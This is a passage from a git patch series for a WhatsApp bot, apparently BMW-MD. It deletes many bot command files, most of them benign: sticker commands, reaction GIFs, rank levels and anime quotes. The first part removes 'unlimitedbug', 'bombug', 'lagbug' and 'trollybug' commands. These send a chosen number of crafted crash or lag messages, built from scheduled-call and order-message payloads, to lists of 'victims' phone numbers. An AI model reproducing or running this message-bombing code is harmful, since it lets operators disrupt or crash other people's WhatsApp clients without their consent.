- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//unlimitedbug
-adams(
- {
- nomCom: "unlimitedbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}unlimitedbug amount | numbers\n> Example ${prefixe}unlimitedbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}unlimitedbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext3
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//bombug
-adams(
- {
- nomCom: "bombug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}bombug amount | numbers\n> Example ${prefixe}bombug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}bombug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext4
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//lagbug
-adams(
- {
- nomCom: "lagbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}lagbug amount | numbers\n> Example ${prefixe}lagbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}lagbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext2
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//trollybug
-adams(
- {
- nomCom: "trollybug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}trollybug amount | numbers\n> Example ${prefixe}trollybug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}trollybug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 15;
- let victims = [];
- const bug = {
- orderMessage: {
- orderId: "599519108102353",
- thumbnail: fs.readFileSync(
- path.resolve(
- path.join(
- __dirname,
- "..",
- "media",
- "deleted-message.jpg"
- )
- )
- ),
- itemCount: 1999,
- status: "INQUIRY",
- surface: "CATALOG",
- message: `${conf.BOT}`,
- orderTitle: " TROLLY BUG ",
- sellerJid: "263785028126@s.whatsapp.net",
- token: "AR6z9PAvHjs9Qa7AYgBUjSEvcnOcRWycFpwieIhaMKdrhQ=="
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
diff --git a/scs/bmwv.js b/scs/bmwv.js
deleted file mode 100644
index 0b6d337..0000000
--- a/scs/bmwv.js
+++ /dev/null
@@ -1,88 +0,0 @@
-const {adams }= require ('../Ibrahim/adams') ;
-const {addstickcmd, deleteCmd, getCmdById, inStickCmd , getAllStickCmds} = require('../lib/stickcmd') ;
-
-
-
-adams(
- {
- nomCom : 'setcmd',
- categorie : 'stickcmd'
-
- }, async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser , msgRepondu} = commandeOptions;
-
- if (!superUser) { repondre('you can\'t use this command') ; return} ;
-
- if(msgRepondu && msgRepondu.stickerMessage ) {
-
- if(!arg || !arg[0]) { repondre('put the name of the command') ; return} ;
-
-
- await addstickcmd(arg[0].toLowerCase() , msgRepondu.stickerMessage.url ) ;
-
- repondre('Stick cmd save successfully')
-
- } else {
-
- repondre('mention a sticker')
- }
-
- }) ;
-
- adams(
- {
- nomCom: 'delcmd',
- categorie: 'stickcmd'
- },
- async (dest, zk, commandeOptions) => {
-
- const { ms, arg, repondre, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('only Mods can use this command');
- return;
- }
-
- if (!arg || !arg[0]) {
- repondre('put the name of the command that you want to delete');
- return;
- }
-
- const cmdToDelete = arg[0];
-
-
- try {
- await deleteCmd(cmdToDelete.toLowerCase());
- repondre(`the commande ${cmdToDelete} is deleted successfully.`);
- } catch {
- repondre(`the command ${cmdToDelete} don't existe`);
- }
- }
- );
-
-
- adams(
- {
- nomCom: 'allcmd',
- categorie: 'stickcmd'
- },
- async (dest, zk, commandeOptions) => {
- const { repondre, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('only Mods can use this command');
- return;
- }
-
- const allCmds = await getAllStickCmds();
-
- if (allCmds.length > 0) {
- const cmdList = allCmds.map(cmd => cmd.cmd).join(', ');
- repondre(`*List of all stickcmd :*
- ${cmdList}`);
- } else {
- repondre('No stickcmd save');
- }
- }
-);
diff --git a/scs/bmww.js b/scs/bmww.js
deleted file mode 100644
index 2a2ca78..0000000
--- a/scs/bmww.js
+++ /dev/null
@@ -1,173 +0,0 @@
-
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-adams({ nomCom: "scan", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *Tap on the link to get session*
-
- https://ibrahim-adams.vercel.app
-
-
- *STEPS TO GET SESSION*
-
- 1. Open link
- 2. Enter your whatsapp number with your country code eg : 254,255. And tap submit
- 3. Ibrahim tech will sent you a code. Copy that code. Then whatsapp will sent Notification
- 4. Tap on that notification then enter in the code that Ibrahim tech sent you.
- 5. It will load for sometime then Ibrahim tech will sent A long session to your inbox on whatsapp at your own number
- 6. Copy that long session and sent it to your deployer.
-
- 🚘🚘🚘
- `;
-
-let menuMsg = `
-> Made by : ©Ibrahim Adams
-`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
-
-
-/*const util = require('util');
-const fs = require('fs-extra');
-const { zokou } = require(__dirname + "/../framework/zokou");
-const { format } = require(__dirname + "/../framework/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../set");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../framework//zokou");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *BMW MD IMPORTANT INFO*
-❒───────────────────❒
-*GITHUB LINK*
-> https://github.com/ibrahimaitech/BMW-MD
-
-*WHATSAPP CHANNEL*
-> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
-
-*FOR MORE INFO TAP ON THE LINK BELOW*
-> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
-╭───────────────────❒
-│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
-│❒ *DEV* : *Ibrahim Adams*
-╰───────────────────❒
- `;
-
-let menuMsg = `
- 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
-
-❒────────────────────❒`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});*/
diff --git a/scs/bmwx.js b/scs/bmwx.js
deleted file mode 100644
index 19b97f9..0000000
--- a/scs/bmwx.js
+++ /dev/null
@@ -1,103 +0,0 @@
-const axios = require('axios');
-const { adams } = require("../Ibrahim/adams");
-const fs = require("fs-extra");
-const { exec } = require("child_process");
-const child_process = require('child_process');
-const {unlink } = require ('fs').promises ;
-
-
-// fonction sleep
-
-const sleep = (ms) =>{
- return new Promise((resolve) =>{ setTimeout (resolve, ms)})
-
- }
-
-// Fonction pour la conversion de GIF en vidéo et récupération du buffer vidéo
-const GIFBufferToVideoBuffer = async (image) => {
- const filename = `${Math.random().toString(36)}`;
- await fs.writeFileSync(`./${filename}.gif`, image);
- child_process.exec(
- `ffmpeg -i ./${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./${filename}.mp4`
- );
- await sleep(4000);
-
- var buffer5 = await fs.readFileSync(`./${filename}.mp4`);
- Promise.all([unlink(`./${filename}.mp4`), unlink(`./${filename}.gif`)]);
- return buffer5;
-};
-
-const generateReactionCommand = (reactionName, reactionEmoji) => {
- adams({
- nomCom: reactionName,
- categorie: "Reaction",
- reaction: reactionEmoji,
- },
- async (origineMessage, zk, commandeOptions) => {
- const { auteurMessage, auteurMsgRepondu, repondre, ms, msgRepondu } = commandeOptions;
-
- const url = `https://api.waifu.pics/sfw/${reactionName}`;
- try {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- // Obtenir le buffer du GIF en utilisant la fonction getBuffer
- const gifBufferResponse = await axios.get(imageUrl, {
- responseType: 'arraybuffer' }) ;
- const gifBuffer = await gifBufferResponse.data;
-
- // Convertir le GIF en vidéo et obtenir le buffer vidéo
- const videoBuffer = await GIFBufferToVideoBuffer(gifBuffer);
-
- // Envoyer la vidéo avec Zokou
- if (msgRepondu) {
- var txt =` @${auteurMessage.split("@")[0]} ${reactionName} @${auteurMsgRepondu.split("@")[0]}`
- zk.sendMessage(origineMessage, { video: videoBuffer,gifPlayback: true,caption:txt,mentions:[auteurMessage,auteurMsgRepondu] }, { quoted: ms });
-
- } else {
- const videoMessage = {
- video: videoBuffer,
- gifPlayback: true,
- caption: `@${auteurMessage.split("@")[0]} ${reactionName} everyone`,
- mentions: [auteurMessage]
- };
- zk.sendMessage(origineMessage, videoMessage, { quoted: ms });
- }
-
- } catch (error) {
- repondre('Error occurred while retrieving the data. :' + error);
- console.log(error);
- }
- });
-};
-
-// ... (utilisation de la fonction generateReactionCommand pour créer des commandes de réaction)
-
-
-generateReactionCommand("bully", "👊");
-generateReactionCommand("cuddle", "🤗");
-generateReactionCommand("cry", "😢");
-generateReactionCommand("hug", "😊");
-generateReactionCommand("awoo", "🐺");
-generateReactionCommand("kiss", "😘");
-generateReactionCommand("lick", "👅");
-generateReactionCommand("pat", "👋");
-generateReactionCommand("smug", "😏");
-generateReactionCommand("bonk", "🔨");
-generateReactionCommand("yeet", "🚀");
-generateReactionCommand("blush", "😊");
-generateReactionCommand("smile", "😄");
-generateReactionCommand("wave", "👋");
-generateReactionCommand("highfive");
-generateReactionCommand("handhold");
-generateReactionCommand("nom","👅" );
-generateReactionCommand("bite", "🦷");
-generateReactionCommand("glomp", "🤗");
-generateReactionCommand("slap", "👋");
-generateReactionCommand("kill", "💀");
-generateReactionCommand("kick", "🦵");
-generateReactionCommand("happy", "😄");
-generateReactionCommand("wink", "😉");
-generateReactionCommand("poke", "👉");
-generateReactionCommand("dance", "💃");
-generateReactionCommand("cringe", "😬");
diff --git a/scs/bmwy.js b/scs/bmwy.js
deleted file mode 100644
index d4f541c..0000000
--- a/scs/bmwy.js
+++ /dev/null
@@ -1,309 +0,0 @@
-const {adams} = require("../Ibrahim/adams");
-const {getMessagesAndXPByJID,getBottom10Users} = require("../lib/level");
-
-
-function get_level_exp(xp) {
- const levelThresholds = [
- { level: 1, xpThreshold: 500 },
- { level: 2, xpThreshold: 1000 },
- { level: 3, xpThreshold: 2000 },
- { level: 4, xpThreshold: 4000 },
- { level: 5, xpThreshold: 7000 },
- { level: 6, xpThreshold: 10000 },
- { level: 7, xpThreshold: 15000 },
- { level: 8, xpThreshold: 20000},
- { level: 9, xpThreshold: 25000},
- { level: 10, xpThreshold: 30000},
- { level: 11, xpThreshold: 35000},
- { level: 12, xpThreshold: 45000},
- { level: 13, xpThreshold: 55000},
- { level: 14, xpThreshold: 65000},
- { level: 15, xpThreshold: 75000},
- { level: 16, xpThreshold: 90000},
- { level: 17, xpThreshold: 105000},
- { level: 18, xpThreshold: 120000},
- { level: 19, xpThreshold: 135000},
- { level: 20, xpThreshold: 150000},
- { level: 21, xpThreshold: 170000},
- { level: 22, xpThreshold: 190000},
- { level: 23, xpThreshold: 210000},
- { level: 24, xpThreshold: 230000},
- { level: 25, xpThreshold: 255000},
- { level: 26, xpThreshold: 270000},
- { level: 27, xpThreshold: 295000},
- { level: 28, xpThreshold: 320000},
- { level: 29, xpThreshold: 345000},
- { level: 30, xpThreshold: 385000},
- { level: 31, xpThreshold: 425000},
- { level: 32, xpThreshold: 465000},
- { level: 33, xpThreshold: 505000},
- { level: 34, xpThreshold: 545000},
- { level: 35, xpThreshold: 590000},
- { level: 36, xpThreshold: 635000},
- { level: 37, xpThreshold: 680000},
- { level: 38, xpThreshold: 725000},
- { level: 39, xpThreshold: 770000},
- { level: 40, xpThreshold: 820000},
- { level: 41, xpThreshold: 870000},
- { level: 42, xpThreshold: 920000},
- { level: 43, xpThreshold: 970000},
- { level: 44, xpThreshold: 1020000},
- { level: 45, xpThreshold: 1075000},
- { level: 46, xpThreshold: 1130000},
- { level: 47, xpThreshold: 1185000},
- { level: 48, xpThreshold: 1240000},
- { level: 49, xpThreshold: 1295000},
- { level: 'Zk-GOD', xpThreshold: 2000000}
- ];
-
- let level = 0;
- let exp = xp;
- let xplimit = levelThresholds[level].xpThreshold;
-
- for (let i = 0; i < levelThresholds.length; i++) {
- if (xp >= levelThresholds[i].xpThreshold) {
- level = levelThresholds[i].level;
- xplimit = levelThresholds[i + 1]?.xpThreshold || 'No-limit';
- exp = xp - levelThresholds[i].xpThreshold;
- } else {
- break;
- }
- }
-
- return {
- level: level,
- xplimit: xplimit,
- exp: exp
- };
-}
-
-module.exports = {
- get_level_exp,
-} ;
-
-adams( {
- nomCom : "rank",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu , mybotpic} = commandeOptions ;
-
- if (msgRepondu) {
-
- try {
-
- let rank = await getMessagesAndXPByJID(auteurMsgRepondu) ;
-
- const data = await get_level_exp(rank.xp)
- let ppuser ;
-
-
- try {
- ppuser = await zk.profilePictureUrl(auteurMsgRepondu , 'image') ;
- } catch {
- ppuser = mybotpic()
- } ;
-
-
- let role ;
-
- if (data.level < 5) {
- role = 'baby'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid-Ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'GOD'
- }
-
-
- let msg = `
-┏━━━┛ Bmw-Rang ┗━━━┓
-
- *Name :* @${auteurMsgRepondu.split("@")[0]}
-
- *Level :* ${data.level}
-
- *EXP :* ${data.exp}/${data.xplimit}
-
- *Role :* ${role}
-
- *Messages :* ${rank.messages}
-
- ┕━✿━┑ ┍━✿━┙`
-
- zk.sendMessage(
- dest,
- {
- image : {url : ppuser},
- caption : msg,
- mentions : [auteurMsgRepondu]
- },
- {quoted : ms}
- )
-
-
- } catch (error) {
- repondre(error)
- }
- } else {
-
-
- try {
-
- let jid = auteurMessage ;
-
- let rang = await getMessagesAndXPByJID(jid) ;
-
- const data = get_level_exp(rang.xp)
- let ppuser ;
-
-
- try {
- ppuser = await zk.profilePictureUrl(jid, 'image') ;
- } catch {
- ppuser = mybotpic()
- } ;
-
-
- let role ;
-
- if (data.level < 5) {
- role = 'Nouveau né(e)'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid-Ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'level-GOD'
- }
-
-
- let msg = `
-┏━━━┛ bmw rank┗━━━┓
-
- *Name :* ${nomAuteurMessage}
-
- *Level :* ${data.level}
-
- *EXP :* ${data.exp}/${data.xplimit}
-
- *Role :* ${role}
-
- *Messages :* ${rang.messages}
-
- ┕━✿━┑ ┍━✿━┙`
-
- zk.sendMessage(
- dest,
- {
- image : {url : ppuser},
- caption : msg
- },
- {quoted : ms}
- )
-
- } catch (error) {
- repondre(error)
- }
-
- }
-
-
-}) ;
-
-adams( {
- nomCom : "toprank",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , mybotpic} = commandeOptions ;
-
-
- let msg = `┏━━┛ beltah-top-rang ┗━━┓\n\n`
-
- let topRanks = await getBottom10Users() ;
- let mention = [] ;
- for (const rank of topRanks ) {
-
- const data = await get_level_exp(rank.xp) ;
-
- let role ;
-
- if (data.level < 5) {
- role = 'Nouveau né(e)'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'level-GOD'
- }
- msg += `-----------------------
-
- *Name :* @${rank.jid.split("@")[0]}
-*Level :* ${data.level}
-*Role :* ${role}\n` ;
-
- mention.push(rank.jid) ;
- }
-
- zk.sendMessage(dest,
- {
- image : { url : mybotpic() },
- caption : msg,
- mentions : mention
- },
- {quoted : ms})
-
-
- })
-
-
-
-
diff --git a/scs/bmwz.js b/scs/bmwz.js
deleted file mode 100644
index c55af3d..0000000
--- a/scs/bmwz.js
+++ /dev/null
@@ -1,50 +0,0 @@
-
-const { adams } = require('../Ibrahim/adams');
-
-adams({ nomCom: 'quote', categorie: 'Fun' }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, verifGroupe, arg } = commandeOptions;
- if (!verifGroupe) {
- repondre('Commande réservée au groupe uniquement');
- return;
- }
-
- if (!arg[0]) {
- try {
- fetch('https://animechan.xyz/api/random')
- .then((response) => response.json())
- .then(async (quote) => {
- repondre(`╔══════════════════════════╗
-║ Bmw-md ║
-╚══════════════════════════╝
-
-🎬 Anime: ${quote.anime}
-👤 Character: ${quote.character}
-💬 Quote: ${quote.quote}
-
-Powered by BMW-MD`);
- });
- } catch (e) {
- repondre('Erreur lors de la génération de la citation : ' + e.message);
- }
- } else {
- const query = arg.join(' ');
-
- try {
- fetch('https://animechan.xyz/api/random/character?name=' + query)
- .then((response) => response.json())
- .then(async (quote) => {
- repondre(`╔══════════════════════════╗
-║ Bmw-md ║
-╚══════════════════════════╝
-
-🎬 Anime: ${quote.anime}
-👤 Character: ${quote.character}
-💬 Quote: ${quote.quote}
-
-Powered by Bmw-MD`);
- });
- } catch (e) {
- repondre('Erreur lors de la génération de la citation : ' + e.message);
- }
- }
-});
From e21da478c4c1a0ec9f22226b9cbc3ed7812be3a3 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sat, 26 Oct 2024 23:31:36 +0300
Subject: [PATCH 135/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
scs/song.js | 1 +
1 file changed, 1 insertion(+)
create mode 100644 scs/song.js
diff --git a/scs/song.js b/scs/song.js
new file mode 100644
index 0000000..46adbc9
--- /dev/null
+++ b/scs/song.js
@@ -0,0 +1 @@
+{Remote git_online}
From 1324bde5058202902303cfabd22a7bd44266ceb7 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sat, 26 Oct 2024 23:35:56 +0300
Subject: [PATCH 136/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
scs/bmwa.js | 15268 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwae.js | 15451 +++++++++++++++++++++++++++++++++++++++++++++
scs/bmwba.js | 15300 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwbe.js | 15321 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwbi.js | 14 +
scs/bmwbo.js | 1 +
scs/bmwboo.js | 1 +
scs/bmwbu.js | 499 ++
scs/bmwbut.js | 1 +
scs/bmwbutton.js | 2 +
